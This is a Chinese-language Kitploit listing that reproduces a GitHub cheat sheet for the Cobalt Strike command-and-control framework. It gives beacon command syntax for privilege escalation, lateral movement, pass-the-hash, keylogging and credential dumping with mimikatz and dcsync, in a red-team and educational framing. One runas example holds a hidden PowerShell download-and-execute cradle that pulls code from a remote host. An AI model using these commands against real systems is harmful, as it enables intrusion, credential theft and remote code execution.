Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Cobalt-Strike-CheatSheet — 关于 Cobalt Strike 功能的一些笔记和示例 | Kitploit
工具/GitHubGitHub/s1ckb0y1337/cobalt-strike-cheatsheet
权限提升Payload生成持久化机制横向移动数据泄露后渗透利用渗透测试命令与控制学习与教育红队精选资源
1.1k136304年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
s1ckb0y1337/cobalt-strike-cheatsheet

Cobalt-Strike-CheatSheet

关于 Cobalt Strike 功能的一些笔记和示例

查看仓库

Cobalt Strike 备忘单

关于 Cobalt Strike C2 框架的通用笔记与建议。

目录

  • Cobalt Strike 备忘单
    • 目录
    • 基础菜单说明
    • 监听器
    • 可塑 C2 配置文件
    • Aggressor 脚本
    • 常用命令
    • 漏洞利用
    • 权限提升
    • 跳板
    • 横向移动
    • 数据渗出
    • 杂项
    • OPSEC 笔记

基础菜单说明

  • Cobalt Strike: 第一个也是最基础的菜单,包含连接团队服务器、设置偏好、更改 beacon 会话视图、管理监听器和 Aggressor 脚本的功能。
  • View(视图): 视图菜单由管理目标、日志、收集的凭据、屏幕截图、键盘记录等元素组成。其主要目的是提供一种简便的方式来访问众多模块的输出、管理战利品和域目标。
  • Attacks(攻击): 此菜单包含众多客户端攻击生成方法,如钓鱼邮件、网站克隆和文件托管。还提供多种方式生成 beacon 载荷,或仅生成 shellcode 并保存以供后续在其他混淆工具中使用。
  • Reporting(报告): 它提供了一种简便的方式来生成包含攻击执行信息的 pdf 或电子表格文件,从而协助你整理小型报告,使最终报告撰写过程更加轻松。
  • Help(帮助): 该工具的基础帮助菜单。

监听器

出口监听器

  • HTTP/HTTPS: beacon 最基础的载荷,默认情况下监听器会监听 80 和 443 端口,且始终可以选择设置自定义端口。你可以设置代理设置、自定义 HTTP 头,或指定绑定端口以重定向 beacon 的流量(如果基础设施使用重定向服务器进行载荷回调)。
  • DNS: 一种非常隐蔽的载荷选项,通过 dns 协议提供更隐蔽的流量,你需要指定要连接的 DNS 服务器。使用此类监听器的最佳场景是在高度受限的环境中,该环境甚至阻止 80 和 443 端口等常见流量。

跳板监听器

  • TCP: 一个绑定在特定端口上的基础 tcp 监听器。
  • SMB: 用于内部传播和横向移动的绝佳选项,此载荷通过 smb 协议使用命名管道,是在甚至 80 和 443 等默认端口被列入黑名单时绕过防火墙的最佳方法。

杂项监听器

  • Foreign HTTP/HTTPS: 这类监听器让我们可以选择使用 http 或 https 载荷将 metasploit 框架的会话传递给 cobalt strike。一个有用的示例是执行 metasploit 的漏洞利用模块并在 cobalt strike 上获得 beacon 会话。
  • External C2: 这是一种特殊类型的监听器,允许第三方应用程序充当 beacon 的通信媒介。

可塑 C2 配置文件

简而言之,可塑 c2 配置文件是一个配置文件,它定义了 beacon 在执行模块、生成进程和线程、注入 dll 或访问磁盘和内存时如何通信和行为。不仅如此,它还配置了载荷流量在 pcap 上的外观、通信间隔和抖动等。

自定义可塑 c2 配置文件的巨大优势在于,我们可以配置和定制载荷以匹配我们的情况和目标环境,这样我们就能融入环境的流量中,从而更加隐蔽。

  
## Aggressor 脚本
  Aggressor Script 是内置于 Cobalt Strike 3.0 及更高版本中的脚本语言。Aggressor Script 允许你修改和扩展 Cobalt Strike 客户端。这些脚本可以在现有模块上添加额外功能,或创建新模块。\
  [Aggressor Script 教程](https://download.cobaltstrike.com/aggressor-script/index.html)
  
## 常用命令
  - **help:** 列出可用命令。
  - **help \<module>:** 显示所选模块的帮助菜单。
  - **jobs:** 列出 beacon 正在运行的作业。
  - **jobkill \<id>:** 终止所选作业。
  - **run:** 使用 Win32 API 调用执行操作系统命令。  
  - **shell:** 通过生成 "cmd.exe /c" 执行操作系统命令。
  - **powershell:** 通过生成 "powershell.exe" 执行命令
  - **powershell-import:** 在当前 beacon 进程中导入本地 powershell 模块。
  - **powerpick:** 在不生成 "powershell.exe" 的情况下执行 powershell 命令,仅使用 .net 库和程序集。(绕过 AMSI 和 CLM)
  - **drives:** 列出当前系统驱动器。
  - **getuid:** 获取当前用户 uid。
  - **sleep:** 设置 beacon 回连的间隔和抖动。
  - **sleep 用法:**

sleep [time in seconds] [jitter]

即

sleep 5 60 sleep 120 40 ...

- **ps:** 列出进程。
- **cd:** 切换目录。
- **cp:** 将本地文件复制到另一个本地位置。
- **download/upload:** 下载文件并上传本地文件。
- **download/upload 用法:**

download C:\Users\victim\Documents\passwords.csv upload C:\Users\S1ckB0y1337\NotMalware\youvebeenhacked.txt

- **cancel:** 取消文件下载。
- **reg:** 查询注册表。


## 利用
- **browserpivot:** 将劫持 Internet Explorer 的 Web 会话,使我们能够以受害者浏览器的身份浏览网页,包括其会话、Cookie 和保存的密码。
- **dcsync:** 使用 mimikatz 执行 DCsync 攻击。
- **dcsync 用法:**

dcsync [DOMAIN.fqdn] [DOMAIN\user]

即

dcsync CORP.local CORP\steve.johnson

- **desktop:** 在 beacon 进程中注入 VNC 服务器,并获取目标的远程桌面视图。
- **desktop 用法:**

desktop [pid] [x86|x64] [high|low]

即

desktop 592 x64 high desktop 8841 x86 low

:exclamation: high/low 参数用于指定会话的质量。
- **dllinject/dllload:** 将反射式 DLL 注入进程/在当前进程上加载 DLL。
- **execute-assembly:** 完全在内存中加载并执行 .NET 编译的程序集可执行文件。
- **execute-assembly 用法:**

execute-assembly [/path/to/local/.NET] [arguments]

- **inject:** 在指定进程上注入 beacon 载荷,并在其安全上下文下生成新的 beacon 会话。
- **inject 用法:**

inject [pid] [x86|x64] [listener]

即

inject 9942 x64 Lab-SMB inject 429 x86 Lab-HTTPS ...

- **kerberos\*:** 操作 kerberos 票据。
- **ppid:** 为任何后渗透子进程生成任务伪造 beacon 的父进程。这样我们就能隐藏恶意的后渗透任务。
- **psinject:** 向指定进程注入并使用 powerpick 的功能执行命令。\
:notebook: 通过 **powershell-import** 导入的 Powershell 模块可用。
- **runu:** 在伪造的进程 PID 下运行命令。
- **shinject:** 将 shellcode 注入另一个正在运行的进程。
- **shspawn:** 创建一个新进程并向其中注入 shellcode。
- **shspawn 用法:**

shspawn [x86|x64] [/path/to/my.bin]

即

shspawn x64 /opt/shellcode/malicious.bin


## 权限提升
- **elevate:** 包含多种利用内核漏洞和 UAC 绕过将权限提升至 Administrator 或 SYSTEM 的方法。
- **elevate 用法:**

elevate [exploit] [listener]

即

elevate juicypotato Lab-SMB elevate ms16-032 Lab-HTTPS ...

- **getsystem:** 尝试模拟 SYSTEM 权限,如果失败,我们可以使用 steal_token 从以 SYSTEM 身份运行的进程中窃取令牌。
- **getprivs:** 与 metasploit 的功能相同,启用当前令牌上所有可用的权限。
- **runasadmin:** 尝试使用本地内核或 UAC 绕过漏洞,在 Administrator 或 SYSTEM 的提升上下文中运行命令。与 elevate 的区别在于它不会生成新的 beacon,而是在新上下文中执行我们指定的应用程序。
- **runasadmin 用法:**

runasadmin [exploit] [command] [args]

即

runasadmin uac-token-duplication [command] runasadmin uac-cmstplua [command]

## 横向移动
- **socks:** 启动一个 socks4a 代理服务器并监听指定端口。可通过 proxychains 或 redsocks 等代理客户端经该代理服务器进行访问。
- **socks 用法:**

socks [port]

即

socks 9050

:exclamation: 这要求你的 /etc/proxychains.conf 已配置为与指定的端口匹配。如果在 Windows 上操作,你的 proxychains.conf 文件可能位于 %USERPROFILE%\.proxychains\proxychains.conf、(SYSCONFDIR)/proxychains.conf 或 (Global programdata dir)\Proxychains\proxychains.conf。
- **covertvpn:** 在当前系统上部署一个 VPN,将创建一个新接口并将其合并到指定的 IP。使用它,我们可以利用本地接口访问内部目标网络,就像我们通过路由器建立真实连接时一样。

## 横向移动
- **portscan:** 对特定目标执行端口扫描。
- **portscan 用法:**

portscan [ip or ip range] [ports]

即

portscan 172.16.48.0/24 1-2048,3000,8080

上述命令将扫描整个 172.16.48.0/24 子网的 1 到 2048 端口、3000 端口和 8080 端口。该命令同样可用于单个 IP。
- **runas:** runas.exe 的封装工具,使用凭据即可以其他用户身份运行命令。
- **runas 用法:**

runas [DOMAIN\user] [password] [command] [arguments]

即

runas CORP\Administrator securePassword12! Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.90:80/filename'))"

- **pth:** 通过提供用户名和 NTLM 哈希,你可以执行 Pass The Hash 攻击,并将 TGT 注入当前进程。\
:exclamation: 此模块需要管理员权限。
- **pth 用法:**

pth [DOMAIN\user] [hash]

pth Administrator 97fc053bc0b23588798277b22540c40d pth CORP\Administrator 97fc053bc0b23588798277b22540c40d

- **steal_token:** 从指定进程窃取令牌。
- **make_token:** 通过提供凭据,你可以在当前进程中创建模拟令牌,并以被模拟用户的上下文执行命令。
- **jump:** 提供一种简单快捷的横向移动方式,使用 winrm 或 psexec 在目标上生成新的 beacon 会话。 \
:exclamation: **jump** 模块将使用当前的委派/模拟令牌在远程目标上进行身份验证。 \
:muscle: 我们可以将 **jump** 模块与 **make_token** 或 **pth** 模块结合使用,快速“跳转”到网络上的另一个目标。
- **jump 用法:**

jump [psexec64,psexec,psexec_psh,winrm64,winrm] [server/workstation] [listener]

即

jump psexec64 DC01 Lab-HTTPS jump winrm WS04 Lab-SMB jump psexec_psh WS01 Lab-DNS ...

- **remote-exec:** 使用 psexec、winrm 或 wmi 在远程目标上执行命令。\
:exclamation: **remote-exec** 模块将使用当前的委派/模拟令牌在远程目标上进行身份验证。
- **remote-exec 用法:**

remote-exec [method] [target] [command]

- **ssh/ssh-key:** 使用密码或私钥通过 ssh 进行身份验证。适用于 Linux 和 Windows 主机。它为你提供基本的 ssh 功能以及一些额外的后渗透模块。

## 数据窃取
- **hashdump:** 转储本地 SAM 配置单元的 NTLM 哈希。这仅转储本地计算机用户凭据。
- **keylogger:** 将捕获指定进程的击键并将其保存到数据库中。
- **keylogger 用法:**

keylogger [pid] [x86|x64]

即

keylogger 8932 x64 keylogger ...

此命令也可以在不指定参数的情况下使用,以生成一个临时进程并将键盘记录器注入其中。
- **screenshot:** 将捕获当前进程的屏幕并将其保存到数据库中。
- **screenshot 用法:**

screenshot [pid] [x86|x64] [run time in seconds]

即

screenshot 1042 x64 15 screenshot 773 x86 5

- **logonpassword:** 在当前机器上执行众所周知的 mimikatz **logonpasswords** 功能。此功能当然使用了进程注入,因此并非 OPSEC 安全,请谨慎使用。
- **mimikatz:** 你可以执行 mimikatz 的任意功能,不包含 mimikatz 驱动功能。
下载工具